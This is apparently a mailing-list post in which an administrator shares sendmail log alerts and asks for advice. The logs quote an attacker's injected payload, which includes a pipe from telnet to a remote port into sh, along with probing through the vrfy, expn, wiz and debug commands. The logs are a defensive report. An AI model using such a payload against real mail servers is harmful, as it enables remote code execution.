sendmail attack?

[C <claudiu.ionescu () SCALAJWT RO>]

Hi all,
My logcheck come up with the following:

Active System Attack Alerts
=-=-=-=-=-=-=-=-=-=-=-=-=-=
Dec  9 00:43:01 main sendmail[809]: NOQUEUE: POSSIBLE ATTACK from
Dial22.xxx.xxx: newline in string "iss^M
Croot^M Mprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u^M Mlocal, P=/bin/sh,
F=lsDFMeu, A=sh -c $u^M R<"|/... Vulnerable |
mail ">^M R<"|( sleep 2 ; echo quit ) |telnet xxx.xxx.xxx.xxx 5701 | sh
> > /tmp/tel.out "
Dec  9 01:01:05 main sendmail[856]: NOQUEUE: Dial22.xxx.xxx
[xxx.xxx.xxx.xxx]: vrfy root
Dec  9 01:01:06 main sendmail[857]: NOQUEUE: Dial22.xxx.xxx
[xxx.xxx.xxx.xxx]: expn root
Dec  9 01:01:06 main sendmail[858]: NOQUEUE: Dial22.xxx.xxx
[xxx.xxx.xxx.xxx]: expn decode
Dec  9 01:01:19 main sendmail[860]: NOQUEUE: "wiz" command from
Dial22.xxx.xxx [xxx.xxx.xxx.xxx]
(xxx.xxx.xxx.xxx)
Dec  9 01:01:24 main sendmail[863]: BAA00863: "debug" command from
Dial22.xxx.xxx [xxx.xxx.xxx.xxx]
(xxx.xxx.xxx.xxx)
Dec  9 00:43:01 main sendmail[809]: NOQUEUE: POSSIBLE ATTACK from
Dial22.xxx.xxx: newline in string "iss^M
Croot^M Mprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u^M Mlocal, P=/bin/sh,
F=lsDFMeu, A=sh -c $u^M R<"|/... Vulnerable |
mail ">^M R<"|( sleep 2 ; echo quit ) |telnet xxx.xxx.xxx.xxx 5701 | sh
> > /tmp/tel.out "
Dec  9 01:01:05 main sendmail[856]: NOQUEUE: Dial22.xxx.xxx
[xxx.xxx.xxx.xxx]: vrfy root
Dec  9 01:01:06 main sendmail[857]: NOQUEUE: Dial22.xxx.xxx
[xxx.xxx.xxx.xxx]: expn root
Dec  9 01:01:06 main sendmail[858]: NOQUEUE: Dial22.xxx.xxx
[xxx.xxx.xxx.xxx]: expn decode
Dec  9 01:01:19 main sendmail[860]: NOQUEUE: "wiz" command from
Dial22.xxx.xxx [xxx.xxx.xxx.xxx]
(xxx.xxx.xxx.xxx)
Dec  9 01:01:24 main sendmail[863]: BAA00863: "debug" command from
Dial22.xxx.xxx [xxx.xxx.xxx.xxx]
(xxx.xxx.xxx.xxx)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Obviously is a sendmail attack try. Any suggestions, comments ?